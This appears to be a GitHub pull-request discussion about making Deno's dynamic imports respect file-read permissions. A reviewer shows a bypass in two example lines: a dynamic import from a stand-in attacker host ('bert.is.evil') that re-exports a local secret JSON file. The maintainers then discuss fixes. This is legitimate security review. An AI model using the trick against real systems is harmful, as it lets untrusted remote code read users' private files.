Dynamic import should respect permissions

[ry]

Fixes #2761

cc @kevinkassimo

[piscisaureus]

But what about indirect dynamic imports?

I think I can still bypass the --allow-read check:

await import('http://bert.is.evil/import_local.js');

And then I host import_local.js on bert.is.evil:

export * from 'file:///home/bert/juicy_secret.json';

That's because only the top-level dynamic import is checked for permissions, and its submodules don't go through the normal import machinery.

[ry]

@piscisaureus I believe I've fixed that problem now. See tests/error_016_dynamic_import_permissions2

[kevinkassimo]

LGTM for this PR, though I do start to think if the capability of importing JSON with static import is also problematic at times. It is totally possible for people to deduce file locations with common system hierarchy (e.g. under /etc).

I feel like maybe we should also add a --no-json-import flag, or somehow find a way to ban remote files from importing from local filesystem (which is very likely to be doing no good) (seems just banning file:// or absolute import would work Needs double check)

[ry]

maybe we should also add a --no-json-import flag

Eh - this seems too specific and I don't think it's necessary either.

somehow find a way to ban remote files from importing from local filesystem (which is very likely to be doing no good)

I agree. Certainly this isn't allowed in browsers? I've added an issue for this #2768

[teleclimber]

I do start to think if the capability of importing JSON with static import is also problematic at times. It is totally possible for people to deduce file locations with common system hierarchy (e.g. under /etc).

Definitely. I seems to me it does not matter whether an import is static or dynamic. If you're reading it you need an allow-read permission. Period.

[piscisaureus]

A "unsupported import url" or something error would be more appropriate here.